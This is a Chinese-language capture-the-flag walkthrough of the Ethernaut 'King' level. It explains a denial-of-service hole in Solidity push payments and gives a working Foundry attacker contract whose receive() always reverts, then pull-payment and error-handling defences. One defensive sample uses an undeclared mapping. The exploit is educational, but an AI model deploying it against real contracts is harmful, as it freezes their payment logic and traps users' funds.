🎯 Ethernaut Level 9: King - 拒绝服务攻击
关卡链接: Ethernaut Level 9 - King
攻击类型: 拒绝服务攻击 (DoS)
难度: ⭐⭐⭐⭐☆
📋 挑战目标
谁出资更高的时候,谁就成为 king,目标是让自己成为 king 之后,别人无法夺取王位。换句话说,我们必须成为王者并一直保持国王,然后打破游戏。


🔍 漏洞分析
transfer() 函数的特性
我们需要理解 transfer
(现在基本被弃用)是如何在 Solidity 中工作的:
- 如果
transfer
失败,此函数抛出错误,但不返回布尔值
- 这意味着如果
transfer
失败,交易将恢复
- Gas 限制为 2300,不足以执行复杂逻辑
关键漏洞代码
1 2 3 4 5 6
| receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); // 易受攻击的点 king = msg.sender; prize = msg.value; }
|
攻击向量
我们可以利用 transfer()
函数失败时会回滚的特性:
- 部署一个合约成为 king
- 合约不定义
receive()
或 fallback()
函数
- 或者在
receive()
函数中直接 revert
- 这样合约将无法接收 ETH,阻止任何人成为新的 king
💻 Foundry 实现
攻击合约代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "forge-std/Test.sol"; import "../src/Ethernaut.sol"; import "../src/levels/KingFactory.sol";
contract KingAttacker { King instance;
constructor(address payable _king) payable { instance = King(_king); }
function attack() public payable { (bool success, ) = address(instance).call{value: msg.value}(""); require(success, "Attack failed"); }
// 关键:拒绝接收 ETH receive() external payable { revert("I will always be the king!"); } }
contract KingTest is Test { Ethernaut ethernaut; KingFactory kingFactory; function setUp() public { ethernaut = new Ethernaut(); kingFactory = new KingFactory(); ethernaut.registerLevel(kingFactory); } function testKingExploit() public { // 创建关卡实例 address payable levelInstance = payable(ethernaut.createLevelInstance{value: 1 ether}(kingFactory)); King instance = King(levelInstance); // 检查初始状态 uint256 initialPrize = instance.prize(); address initialKing = instance._king(); // 部署攻击合约 KingAttacker attacker = new KingAttacker{value: initialPrize + 1}(levelInstance); // 执行攻击:成为 king attacker.attack{value: initialPrize + 1}(); // 验证攻击成功 assertEq(instance._king(), address(attacker)); // 尝试有人超越我们(应该失败) vm.expectRevert(); (bool success, ) = levelInstance.call{value: initialPrize + 2}(""); assertFalse(success); // 验证我们仍然是 king assertEq(instance._king(), address(attacker)); // 这个关卡无法正常提交,因为我们破坏了游戏机制 // 但这正是关卡想要演示的攻击效果 } }
|
关键攻击步骤
- 分析当前 prize:确定需要多少 ETH 成为 king
- 部署攻击合约:合约的
receive()
函数会 revert
- 成为 king:发送足够的 ETH
- 锁定王位:任何后续尝试都会因为 transfer 失败而回滚
1 2 3 4 5 6 7 8
| // 部署攻击合约 KingAttacker attacker = new KingAttacker{value: initialPrize + 1}(levelInstance);
// 发送 ETH 成为 king attacker.attack{value: initialPrize + 1}();
// 验证攻击成功 assertEq(instance._king(), address(attacker));
|
🛡️ 防御措施
1. 使用 Pull Payment 模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| // ❌ 不安全:Push Payment contract VulnerableKing { address public king; uint public prize; receive() external payable { require(msg.value >= prize); payable(king).transfer(msg.value); // 可能失败 king = msg.sender; prize = msg.value; } }
// ✅ 安全:Pull Payment contract SecureKing { address public king; uint public prize; mapping(address => uint) public pendingWithdrawals; receive() external payable { require(msg.value >= prize); // 记录待提取金额 if (king != address(0)) { pendingWithdrawals[king] += prize; } king = msg.sender; prize = msg.value; } // 让用户自己提取资金 function withdraw() public { uint amount = pendingWithdrawals[msg.sender]; require(amount > 0, "No funds to withdraw"); pendingWithdrawals[msg.sender] = 0; payable(msg.sender).transfer(amount); } }
|
2. 使用 call 并处理失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| contract ImprovedKing { address public king; uint public prize; receive() external payable { require(msg.value >= prize); // 使用 call 并处理失败 if (king != address(0)) { (bool success, ) = payable(king).call{value: prize}(""); if (!success) { // 记录失败的支付,让用户手动提取 pendingWithdrawals[king] += prize; } } king = msg.sender; prize = msg.value; } }
|
3. 实现紧急停止机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| contract SafeKing { address public king; uint public prize; bool public paused; address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } modifier whenNotPaused() { require(!paused); _; } function pause() public onlyOwner { paused = true; } function unpause() public onlyOwner { paused = false; } receive() external payable whenNotPaused { // 正常逻辑 } }
|
🔧 相关工具和技术
DoS 攻击检测
1 2 3 4 5
| // 检测合约是否能接收 ETH function canReceiveEther(address target) public returns (bool) { (bool success, ) = target.call{value: 1 wei}(""); return success; }
|
Gas 限制分析
1 2 3 4 5
| forge test --gas-report
cast estimate --value 1000000000000000000 <CONTRACT_ADDRESS> "receive()"
|
🎯 总结
核心概念:
send
和 transfer
现在已被弃用,即使是 call
,使用时最好按照检查-效果-交互模式调用
- 外部调用必须谨慎使用,必须正确处理错误
- Push Payment 模式容易受到 DoS 攻击
攻击向量:
- 通过拒绝接收 ETH 来破坏支付流程
- 利用
transfer
失败时的回滚特性
- 成为永久的 king,破坏游戏机制
防御策略:
- 使用 Pull Payment 模式
- 正确处理外部调用失败
- 实现紧急停止和恢复机制
- 避免依赖外部调用的成功
🔗 相关链接